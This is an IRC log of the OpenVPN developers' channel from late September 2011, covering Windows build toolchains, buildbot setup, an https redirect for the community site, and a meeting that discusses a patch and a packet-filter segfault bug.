13:25 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 13:26 < SviMik> <mattock> SviMik: have you tried asking for suggestions on openvpn-user mailing list or forums? 13:26 < SviMik> which suggestions do you mean? how to fix segfault? :) 13:30 < SviMik> maybe I need to mail somebody, who is author of packet filter? is it possible? or your team receiving bugreports automatically? 13:40 <+ecrist> we don't know what you're talking about 13:48 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 255 seconds] 14:00 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 14:00 < SviMik> ecrist of course, we have discussed today packet filter (a built-in feature o fopenvpn) and the bug https://community.openvpn.net/openvpn/ticket/163 14:00 <@vpnHelper> Title: #163 (Segfault in PF) – OpenVPN Community (at community.openvpn.net) 14:01 < SviMik> if you were offline, you don't know ) 14:05 <+ecrist> interesting 14:34 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 276 seconds] 14:55 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:55 <+krzee> i just saw how many posts jjk has on the forum... is he really only 1 person!?!? 14:55 <+krzee> im starting to think hes an office full of people or something, lol 14:55 <+krzee> he rocks 15:23 <@andj> cron2: I was on holidays, back now :) 15:26 <@cron2> andj: ah, cool. 15:27 <@cron2> andj: what I'm wondering about: OpenVPN includes <openssl/des_old.h> (from crypto.h), which makes it fail compilation on NetBSD, because they don't install des_old.h anymore 15:27 <@cron2> andj: is your patch already tackling this (as a side effect of the crypto/ssl cleanup)? 15:27 <@andj> no, not at the moment. I left functionality as-is as much as possible 15:28 <@andj> though it should be easier to get rid of it now 15:28 <@andj> as the code is easier to read/modify 15:28 <@cron2> meh. so we need to get your patch in quickly and then cleanup des_old.h 15:30 <@andj> most of the stuff necessary for that has been approved 15:30 <@andj> I believe 15:31 <@andj> let me check on the status, been away for a few weeks :) 15:35 <@andj> cron2: I think the requirement is actually gone 15:35 <@andj> my bad 15:36 <@andj> at least it's not in https://github.com/andj/openvpn-ssl-refactoring/blob/master/crypto_openssl.c or https://github.com/andj/openvpn-ssl-refactoring/blob/master/crypto_openssl.h 15:36 <@vpnHelper> Title: crypto_openssl.c at master from andj/openvpn-ssl-refactoring - GitHub (at github.com) 15:36 <@andj> where I would expect it 15:38 <@cron2> originally, it was in crypto.h - so that's good news :-) 15:38 <@cron2> anyway, to bed now - good night, folks 15:39 <@andj> nn 17:02 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 248 seconds] 17:03 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:03 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Tue Sep 27 2011 00:47 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 00:49 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:50 -!- mode/#openvpn-devel [+v krzie] by ChanServ 00:57 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 00:57 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:57 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:03 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 01:56 <@mattock> hi andj! 02:28 <@mattock> ecrist: the pwm issue _is_ about locales 02:28 <@mattock> I tried switching locale to fi_FI.UTF-8 (=Finnish) and got a HTTP 500 02:28 <@mattock> my N900 is also in Finnish 02:28 <@mattock> and dazo's N900 worked probably because of a different locale 02:41 <@mattock> I'll do some tests with a newer pwm 03:00 -!- dazo_afk is now known as dazo 03:14 <@mattock> newer pwm version does not fix this, I'll file a bug report and mail the devs 06:14 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has quit [Read error: Operation timed out] 06:14 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 09:42 <@mattock> actually, upgrade did fix it, but caused some other (minor?) issues 09:49 <+ecrist> great to the fix, boo the the 'minor' issue 09:49 <@mattock> yeah, damn password reset did not work out of the box 09:50 <@mattock> mailing didn't seem to work, but then it did after all 09:50 <@mattock> I'm guessing a problem outside the server itself 10:04 <@d12fk> mattock: what's the documented way to build openvpn with mingw 10:11 <@d12fk> http://community.openvpn.net/ could be redirected to https. anyone? 10:26 <@d12fk> any strong feelings towards mingw.org? cygwin now also packages mingw64 which is in way bettershape than the original mingw 10:27 <@d12fk> i'd like to propose cygwin/mingw64 as the standard for windows mingw builds 10:28 <@d12fk> cygwin also has git and anything you'd cry out for 10:29 <@d12fk> you can even run an openssh server on yer windoze 10:29 <@d12fk> end of flood, your turn =) 10:29 <@d12fk> ah wait, maybe a wordabout the motivation... =P 10:30 <@d12fk> this is about the "Snapshot openvpn-2.x-20110909-master-install.exe fails" thread on the devel list 10:31 <@d12fk> mingw headers don't have the macros to define NTDDI_VERSION in a portable way 10:33 <@d12fk> if we declare mingw broken/legacy and advise to use cygwin w/ mingw64 to build stuff we get a nice exit off the mingw mess 10:33 <@d12fk> i guess the project is really dead now looking at the speed of things at wingw32-w64 10:34 <@d12fk> real end of flood, your turn =) 10:34 <+ecrist> I'll fix the https thing, d12fk 10:35 <@d12fk> ecrist: good 10:37 <+ecrist> d12fk: check again, please, should be fixed. 10:40 <@d12fk> ecrist: now it delivers trac over http, is that intended (passwords and such?) 10:41 <+ecrist> that behavior isn't changed. 10:42 <+ecrist> I just added a header redirect for the index of http://community.openvpn.net 10:42 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 10:42 <+ecrist> and passwords and such aren't delivered over non-ssl, afaik 10:42 <+ecrist> gah, yeah they are. 10:42 <+ecrist> this will be some additional work. 10:42 <+ecrist> I'll look into it later. 10:42 <@d12fk> i see, yeah i used a deep link, just removed the 's' =) 10:43 <@d12fk> is it apache? 10:43 <+ecrist> yep 10:43 <+ecrist> not a big deal, I just have to set a couple redirects in the config 10:43 <+ecrist> but, it's time for $food 10:44 <@d12fk> RewriteEngine on 10:44 <@d12fk> RewriteCond %{HTTP_HOST} ^(community\.openvpn\.net) [NC] 10:44 <@d12fk> RewriteRule /(.*) https://%1/$1 [R] 10:44 <@d12fk> should do it 10:45 -!- dazo is now known as dazo_afk 10:46 <@d12fk> hm you could probably skip the RewriteCond if you do it in the fqdn:80 virtual host 10:47 <+ecrist> it's not a virtualhost. 10:50 <+ecrist> I'll fix this in a bit 10:50 * ecrist poofs 10:50 <@d12fk> hm maybe you get a redirect loop then, watch out! =) 10:52 <@d12fk> RewriteCond %{HTTPS} ^off$ [NC] 10:52 <@d12fk> could do instead 10:53 <@d12fk> but then you have to change the rule as there's no %1 back reference 10:56 <@d12fk> %{HTTP_HOST} istead of %1 could do here 11:10 <@d12fk> re: mingw64 11:10 <@d12fk> i know, i know =) 11:11 <@d12fk> another, instructions would be the same for cygwin/mingw and unix/mingw as they are both crosscompilers practically 11:19 <@d12fk> make 11:19 <@d12fk> oops wrong window =) 14:17 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] 15:20 <@cron2> d12fk: still around? 16:08 <@vpnHelper> RSS Update - wishlist: adaptive compression including time to (de)compress data <http://forums.openvpn.net/topic8883.html> --- Day changed Wed Sep 28 2011 00:30 <@andj> mattock: just as an aside, I'm back and will be at the meeting this week 00:41 -!- dazo_afk is now known as dazo 01:19 <@mattock> andj: great! 02:50 <@mattock> hmm, again one of those "it fixed itself" scenarios... me like and dislike at the same time 02:50 <@mattock> so, password reset with new pwm seems to work, after all 02:51 * cron2 strongly dislikes "the problem is gone and I don't know why" scenarios 02:52 <@mattock> especially as I have not done anything in between 03:04 <@dazo> Despite computers doing magic sometimes ... there's always a logic behind the action ... sometimes it's just hidden in the fog ... 03:05 <@dazo> The question is more: How well do you navigate in the fog 03:23 <@mattock> it's fog alright :D 04:02 <@mattock> all functions of new pwm seem to be working all right, will migrate later today 04:14 -!- dazo is now known as dazo_afk 04:22 <@d12fk> cron2: back 04:39 <@cron2> d12fk: so what's needed to build with cygwin+mingw64? (Specifically: will the existing domake-win script build openvpn just fine, or are changes needed?) 04:40 <@cron2> and: is there a linux/mingw64 cross-build environment? 04:40 <@d12fk> you just use configure 04:40 <@cron2> I'm a bit confused about the possible options, and how to move forward with windows building 04:41 <@d12fk> yes linux/mingw64 is available in debian testing 04:41 <@d12fk> at least that's what i'm using 04:41 <@cron2> well, domake-win does just that for "building openvpn.exe", but it does all the rest for building the windows installer... 04:41 <@d12fk> but isn't domake-win for msvc 04:42 <@cron2> domake-win is a bash script that is for mingw/msys 04:42 <@cron2> msvc is built with python weirdness 04:42 <@d12fk> well if it runs in msys it ill definitely run in cygwin 04:43 <@d12fk> what else does it do besides the .exes 04:44 <@d12fk> ... and why not use automake for that? 04:52 <@cron2> can automake build windows installers? 04:53 <@cron2> basically it collects all prerequisites for the installer - building, if possible, or using precompiled - and then it builds the installer 04:55 <@d12fk> if a bash script can do it automake can do it as well 04:56 <@d12fk> but we're moving away for my core suggestion: dropping msys 04:57 <@d12fk> it has no foreseeable future imo 05:02 <@cron2> I wasn't sure what exactly the suggestion was - dropping msys, or dropping mingw(-32) 05:06 <@d12fk> well they both come in one package 05:06 <@d12fk> however the original mingw is also in cygwin 06:56 <@mattock> for full windows build "experience" you need to 06:56 <@mattock> a) build openvpn.exe, 06:56 <@mattock> b) build openvpnserv.exe, 06:56 <@mattock> c) build TAP-drivers, 06:56 <@mattock> d) sign the TAP-drivers 06:56 <@mattock> e) copy tons of stuff around 06:56 <@mattock> f) package all the stuff using MakeNSIS 06:56 <@mattock> TAP-driver stuff can be skipped, as prebuilt TAP-drivers are easy to use 06:57 <@mattock> it should be fairly easy to have e-f be identical for all build systems (Python/Cygwin) 07:13 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 07:14 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 07:14 -!- mode/#openvpn-devel [+o raidz] by ChanServ 08:02 <@d12fk> with a precompiled tap driver the whole thing should even be possible to do in linux 08:05 <@d12fk> would be quite cool to release from the same OS wouldn't it? 08:06 <@d12fk> oh i forgot that there's no binary release for linux... =) 08:13 <@cron2> mattock: so how's buildbot these days? 08:14 <@mattock> d12fk: wrong, there is 08:14 <@mattock> for Debian 5 i386/amd64 and Ubuntu 10.04 i386/amd64 08:15 <@mattock> cron2: look here: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave#Listofexistingbuildslaves 08:15 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 08:15 <@d12fk> mattock: ah didn't know 08:16 <@cron2> mattock: is that up to date? What sort of option permutations do we build these days? Is there a mailing list for buildbot compilation results? 08:16 <@mattock> I pretty much gave up on the idea of automated packaging from every commit... I can use Fabric or similar to generate 08:16 <@mattock> packages in automated fashion more easily (hopefully) 08:16 <@d12fk> mattock: will probably attend the personal meeting as well, talked to boss and didn't make him angry =) 08:16 <@mattock> cron2: it is up-to-date (updated yesterday) 08:16 <@mattock> d12fk: nice! 08:17 <@mattock> cron2: re: mailinglist... not sure about that, buildbot tends to produce large amounts of emails when buildslaves go down 08:17 <@mattock> and I can't keep all of my buildslaves runnig 24/7, unfortunately 08:17 <@cron2> we should weed that out, and only send out actual build failures... 08:17 <@mattock> build permutations, just a sec 08:18 <@mattock> cron2: that's correct, haven't looked into that... 08:19 <@mattock> all unique combinations of "--disable-crypto", "--disable-ssl", "--disable-lzo", "--disable-management" 08:20 <@mattock> "master" from openvpn.git only 08:20 <@mattock> which I guess gives 4^2 builds per buildslave per commit 08:20 <@mattock> but we'd need more "rare" platforms, mine are relatively similar 08:21 <@mattock> cron2: if you got your community VPN credentials, go to http://10.7.36.101:8010 08:26 <@cron2> mattock: did you ever send those to me? 08:26 * cron2 cannot remember 08:27 <@cron2> but these permutations look good. maybe include them on the buildbot wiki page? 08:27 <@mattock> cron2: I think I did, but I can resend them 08:27 <@mattock> I'll add them to the wiki page 08:39 <@cron2> thanks 08:40 <@mattock> done 08:40 <@mattock> cron2: I'll send the required files to you 08:45 <@mattock> sent 08:48 <@mattock> cron2: don't get worried about the latest build failures... there was a minor bug in buildmaster configuration that caused one step 08:48 <@mattock> to fail 08:48 <@mattock> that's fixed, so when dazo pushes stuff to the repo next time, we should not get too many failures 09:03 <@mattock> meeting tomorrow at 18:00 UTC? Or 17:00 UTC? 09:06 <@cron2> yes 09:07 <@mattock> classic answer :P 09:07 <@mattock> 18:00 UTC it is, then 09:07 <@mattock> and I'll blame cron2 for it :D 09:14 < waldner> mattock: I'm not sure what you mean by "unsupported" wrt bug #163 09:14 <@mattock> waldner: neither am I :P 09:14 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 09:15 < waldner> that setup uses the sample code for plugins included in the source package 09:15 < waldner> plain and simple, in fact it even removes some parts that it doesn't need 09:15 <@mattock> ok 09:15 <@mattock> so you think it's a valid bug? 09:15 < waldner> may be 09:15 <@mattock> ok, then we can rephrase the topic list entry 09:16 < waldner> of course, it may be a bug in how I adapted the code (it's not much documented), but AFAICT I din't do anything special 09:17 < waldner> in any case, the whole .c file is published there, anyone with more experience than me in writing plugins can check, it's just a few lines of code 09:17 <@mattock> done 09:17 < waldner> thanks 09:17 <@mattock> np 09:17 <@mattock> btw. can you make it to the meeting tomorrow at 18:00 UTC? 09:17 < waldner> that would be 19:00 cest? 09:18 < waldner> I'm afraid not 09:18 <@mattock> yep 09:18 < waldner> I have a training from 19 to 21 09:18 <@mattock> ok 09:18 < waldner> sorry 09:18 <@mattock> we can discuss the bug (if necessary) with you later, so np 09:18 < waldner> yes sure 09:20 < waldner> well, I *could* have a quick look from time to time with the blackberry, but it's not much easy to interact with that 09:20 < jdpond> I can't seem to find a follow up, and I'm sure you folk have looked at this. FIPS 140-2. To use OpenVPN, all you need to do is allow it to use the OpenSSL FIPS Modules, which are easily obtained and compiled. Steve Rector noted this in http://sourceforge.net/mailarchive/message.php?msg_id=8343873, and I was just wondering where the conversation had gone since then. 09:20 <@vpnHelper> Title: SourceForge.net: OpenVPN: (at sourceforge.net) 09:21 <@mattock> jdpond: actually a guy just a while back created a FIPS 140-2 compliant version of OpenVPN 09:22 < jdpond> mattock: Thanks - where? 09:22 <@mattock> good question... he used to hang around in the IRC, can't remember his alias 09:22 < jdpond> Steve's method was to create a configure option for compile time - which I thought was pretty elegant. 09:24 <@mattock> jdpond: try searching for "fips" from here: http://dir.gmane.org/gmane.network.openvpn.devel 09:24 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at dir.gmane.org) 09:24 <@mattock> SF.net archive search does not find anything from IRC meeting summaries 09:24 <@mattock> the guy was called "Essobi" 09:24 <@mattock> he's on #openvpn, actually 09:25 <@mattock> ok, got to go, hope this helps :) 09:25 < jdpond> Did he talk about adding it to the release code? 09:25 <@mattock> not sure, but you can skim through the meeting summaries 09:26 <@mattock> I guess the idea was to include everything in "master" 09:28 < jdpond> THANKS mattock, I appreciate your help! 09:29 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:32 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Client Quit] 10:19 -!- novaflash [novaflash@openvpn/user/novaflash] has quit [] 10:55 -!- Praetorians [~praetoria@173-13-248-235-WashingtonDC.hfc.comcastbusiness.net] has joined #openvpn-devel --- Log closed Wed Sep 28 11:26:29 2011 --- Log opened Wed Sep 28 11:32:06 2011 11:32 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 11:32 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 0 voices, 8 normal] 11:32 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 11:32 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 11:32 <@cron2> raidz: cool 11:33 <+ecrist> :\ 11:33 <+ecrist> http://security.freebsd.org/advisories/FreeBSD-SA-11:05.unix.asc 11:33 <@cron2> praetorians: mattock used to build rpms and debs for linux, and there's a windows snapshot 11:33 <@cron2> ecrist: yeah, no fun 11:33 -!- novaflash [novaflash@openvpn/user/novaflash] has joined #openvpn-devel 11:34 <+ecrist> cron2: did that hit openbsd too? 11:34 < Praetorians> I asked some weeks ago and if I remember right they said soon, so I'm checking back to see if its working for testing 11:44 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] --- Log opened Wed Sep 28 11:55:23 2011 11:55 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 11:55 -!- Irssi: #openvpn-devel: Total of 15 nicks [7 ops, 0 halfops, 0 voices, 8 normal] 11:55 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 11:55 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 12:00 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 12:00 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 12:08 < Praetorians> is there a wndows gui that works with the 2.2.1 installer? from Matts site they all look much older versions. 12:09 < Praetorians> *windows 12:10 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 12:12 < Praetorians> Hmm, in http://build.openvpn.net/downloads/snapshots/ there are some windows builds.. 12:12 <@vpnHelper> Title: Index of /downloads/snapshots (at build.openvpn.net) 12:12 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 12:33 <+ecrist> Praetorians: a windows gui is included in the installer now 12:35 -!- dazo_afk is now known as dazo 12:35 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 12:45 <@dazo> waldner: mattock: #163 seems plausible for me ... There is a NULL pointer being passed into pf_cn_test() ... and when a that should point at a struct and you try to access (*null)->struct_member (pfs->kill in this case) ... an explosion is not unexpected ... just need to figure out if this NULL pointer is valid or not ... to find the proper place to exit the function if the pointer is NULL at entry 12:46 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 12:56 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 13:31 -!- Irssi: #openvpn-devel: Total of 16 nicks [7 ops, 0 halfops, 1 voices, 8 normal] 14:10 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 14:19 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 15:26 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:42 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 16:03 -!- novaflash [novaflash@openvpn/user/novaflash] has quit [Quit: ABANDON SHIP! ABANDON SHIP!] 16:10 -!- novaflash [novaflash@openvpn/user/novaflash] has joined #openvpn-devel 16:17 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 16:44 -!- Praetorians [~praetoria@173-13-248-235-WashingtonDC.hfc.comcastbusiness.net] has quit [] 16:56 -!- dazo is now known as dazo_afk 17:22 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 17:22 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 17:31 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has joined #openvpn-devel 17:31 < Essobi> Okay, who snitched? ;) 17:58 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has quit [Quit: brb] 17:59 -!- dguerri [~cdtdaddy@wifi-dev.caspur.it] has joined #openvpn-devel 18:27 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 18:28 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:01 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 21:51 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 22:43 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 23:35 -!- Netsplit *.net <-> *.split quits: Essobi 23:44 -!- Essobi [~Essobi@74-128-75-198.dhcp.insightbb.com] has joined #openvpn-devel --- Day changed Thu Sep 29 2011 02:35 < waldner> dazo_afk: thanks 03:01 -!- dazo_afk is now known as dazo 03:37 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 03:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o raidz] by ChanServ 06:20 -!- jdpond [~Jack_D._P@mediawiki/jpond] has joined #openvpn-devel 06:36 <@mattock> Essobi: probably me 06:37 <@mattock> it was me alright :P 07:20 <@dazo> mattock: I have some bad news regarding today ... I am swamped with things to do, so I won't be able to manage the meeting today either :( ... I expect October to be somewhat calmer (at least I hope) 07:20 <@mattock> dazo: ok, np 07:33 <@mattock> mailed james 07:33 <@mattock> if he can attend, we should be ok (espc. with polarssl) 07:55 -!- jdpond [~Jack_D._P@mediawiki/jpond] has quit [Quit: Leaving.] 07:56 < Essobi> mattock: ;) 08:08 -!- Netsplit *.net <-> *.split quits: @d12fk 08:10 -!- Netsplit over, joins: @d12fk 08:48 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:49 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 255 seconds] 10:16 -!- dazo is now known as dazo_afk 10:16 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 10:41 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 10:57 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 248 seconds] 11:06 <@andj> mattock, dazo: we'll see, as long as we can discuss what's next I'm fine :) 11:15 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 11:26 < uuuppz> managed to build a win64 exe 11:26 < uuuppz> seems to work fine 11:46 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 12:27 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 240 seconds] 12:31 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 12:48 -!- scifiCinereller [~falko@e176205012.adsl.alicedsl.de] has joined #openvpn-devel 12:49 <@mattock> james will be in the meeting 12:52 <@andj> ah, nice, let me start my VM then 12:53 < scifiCinereller> Hi everybody, I just wanted to introduce myself: I'm Falko and I'm in here to represent Eike, who made it into the meetings agenda with his question regarding the data volume that is written to the status file 12:54 <@andj> hi 12:55 <@andj> don't worry if it's a little quiet here now, people tend to show up at the last minute :) 12:55 < scifiCinereller> No problem, for me it's not too late 12:56 < scifiCinereller> And by now, we learned everything we needed to know from the mailing list (and the sourcecode confirms this, of course). I just came here in case someone comes up with interesting details 13:01 <@cron2> re 13:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:01 <@andj> evening all 13:01 <@jamesyonan> hi 13:04 < dguerri> hi there 13:04 <@mattock> hi all! 13:04 <@mattock> topics here: https://community.openvpn.net/openvpn/wiki/Topics-2011-09-29 13:04 <@vpnHelper> Title: Topics-2011-09-29 – OpenVPN Community (at community.openvpn.net) 13:05 <@mattock> perhaps we could start with dguerri's patch? 13:05 < dguerri> would be great :) 13:05 <@andj> sure 13:05 < dguerri> it's very tiny indeed so it could be done quickly :) 13:05 <@mattock> so, it's this one: http://article.gmane.org/gmane.network.openvpn.devel/4994 13:05 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 13:06 <@mattock> dguerri: so dazo basically gave this an ACK already? 13:06 < dguerri> yes, i've provided you the patch against the trunk as requested 13:06 < dguerri> mattock: yes, in the previous meeting 13:06 <@mattock> on the condition that a few changes were made? 13:07 < dguerri> but requested some minor changes 13:07 <@mattock> yep 13:07 < dguerri> that i've done 13:07 <@mattock> cron2, andj, jamesyonan: any comments? 13:07 < dguerri> so I think this patch would be generally useful 13:07 < dguerri> but it's up to you :) 13:08 <@andj> I'm opening it now, just a sec 13:08 <@cron2> if dazo already ACKed it, I'm fine with it (and from a cursory glance, it looks useful and sane) 13:08 < dguerri> there is only a question… i'm pretty sure it coulee be very useful in tap mode 13:08 < dguerri> not sure about tun 13:09 <@cron2> in tun mode, there's not really something to learn and to age 13:09 <@cron2> as the server *knows* which network is where 13:10 <@cron2> (OTOH, it installs specific entries for hosts where a network-iroute exists, IIRC, and as v6 networks can be *large*, it could be useful there as well) 13:10 < dguerri> right... 13:11 <@cron2> well, yes. If you iroute v6 networks, and there is churn, you ned to age as well. 13:11 <@andj> cursory glance says ack on the 2.1.0 one 13:11 <@cron2> we don't take feature patches for 2.1 13:11 <@cron2> so I only looked at the -master one :) 13:11 <@andj> I know, I was looking at the wrong one, my bad 13:11 <@andj> :) 13:11 < dguerri> I've patched 2.1 because the latest ubuntu LTS use that version 13:12 < dguerri> lol 13:12 <@cron2> dguerri: yes, for "I need to have something that works now", patching 2.1 or 2.2 is the way to go :-) - for "inclusion in the upstream sources", 2.3 is the wa 13:12 <@cron2> y 13:13 < dguerri> no prob 13:13 < dguerri> please let me know hot to proceed 13:13 < dguerri> how to proceed 13:13 <@cron2> prod dazo 2x/day until he commits it to git :) 13:13 <@andj> ack from my side 13:13 <@mattock> nice! I second cron2's suggestion :) 13:14 <@cron2> I think that's all we need - useful feature, two ACKs, now it's "dazo needs to find time" 13:14 <@mattock> next topic? 13:14 <@andj> sure 13:14 < dguerri> :) 13:14 < dguerri> great, thanks 13:14 <@cron2> let's start with first topic, buildbot :) 13:14 < dguerri> so, i'll be poke dazo next days 13:15 <@cron2> dguerri: he said he's quite busy these days, but "next month" should be easier 13:15 < dguerri> ok 13:15 <@mattock> what about the Segfault in PF issue? 13:15 <@andj> yeah, that being in just a few days 13:15 <@cron2> mattock: first things first :-) 13:15 <@mattock> from the top you mean? 13:15 <@mattock> :) 13:15 <@cron2> mattock: how's your time availability? We should have buildbot connectivity tests back 13:15 <@cron2> yep 13:16 <@mattock> yep, agreed 13:16 <@cron2> ok, next :-) 13:16 <@mattock> a realistic estimate for that is maybe 2-3 weeks 13:16 <@cron2> as I said I can get sponsored CPU + connectivity for more buildbots, and will use that for FreeBSD 6, 7, 8, OpenBSD, and OpenSolaris testing 13:17 <@mattock> cron2: can you handle the buildslave setup and all for those? 13:17 <@cron2> $company wants an acknowledgement - ecist suggested to have a "Sponsors" page in the community wiki 13:17 <@cron2> mattock: if your documentation is up to the task, yes... :) 13:17 <@mattock> if it is not, it will be 13:17 <@cron2> heh, indeed 13:17 <@mattock> "Sponsors" page on Trac sounds reasonable 13:17 <@mattock> and maybe forum "Thank you" post? 13:18 < SviMik> if anybody have questions about Segfault in PF - I'm here :) 13:18 <@mattock> SviMik: great! 13:19 <@cron2> ok, anybody who *objects* to having a Sponsors-page? I don't want to go forward without an OK from you folks 13:19 <@mattock> cron2: my honest intention is to get the connectivity tests back at time for first 2.3 alpha 13:19 <@cron2> mattock: that would be great 13:19 <@andj> I can see why a sponsor of CPU/bandwidth/whatever would want some mention 13:19 <@andj> so no problem here 13:19 <@cron2> mattock: (and my intention is to make IPv6-p2mp-tap work for all platforms :) ) 13:19 <@mattock> as well as streamlined Debian/Ubuntu (and perhaps Fedora) packaging 13:19 <@cron2> good 13:19 <@mattock> jamesyonan: any thoughts? 13:20 <@mattock> as one of the official company representatives :) 13:20 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 13:21 <@mattock> if not, I'd say "sponsors" page is fine 13:22 <@jamesyonan> which company? 13:22 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:22 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:22 <@cron2> the sponsoring company would be Space.Net, the ISP I'm working for 13:22 <@cron2> but mattock is talking about openvpn tech :) 13:23 <@mattock> providing buildslaves for the project 13:23 <@jamesyonan> so Space.Net would be donating VMs? 13:23 <@cron2> yep 13:24 <@cron2> I administer them (on spare time), Space.Net donates CPU, public IP addresses, bandwidth 13:24 <@jamesyonan> I'm open to it, but I'd have to discuss it with the others at OpenVPN Tech 13:24 <@cron2> please do and let us know :) 13:25 <@mattock> next topic? 13:25 <@cron2> pf fault 13:25 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-09-29#Bugs 13:25 <@vpnHelper> Title: Topics-2011-09-29 – OpenVPN Community (at community.openvpn.net) 13:26 < SviMik> I hope my bugreport is as detailed as possible ) 13:26 <@cron2> I have seen the comment that it's "just a NULL ptr deref", but I haven't seen anyone look into the code yet why that happens 13:26 <@mattock> waldner analyzed that earlier... I'll try to find his comments 13:27 <@mattock> (the "details" link leads to his page) 13:27 < SviMik> waldner: mattock: #163 seems plausible for me ... There is a NULL pointer being passed into pf_cn_test() ... and when a that should point at a struct and you try to access (*null)->struct_member (pfs->kill in this case) ... an explosion is not unexpected ... just need to figure out if this NULL pointer is valid or not ... to find the proper place to exit the function if the pointer is NULL at entry 13:28 <@cron2> yep, that one 13:29 <@mattock> SviMik: you were faster than me :) 13:30 < SviMik> :) 13:33 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Disconnected by services] 13:33 -!- SviMik 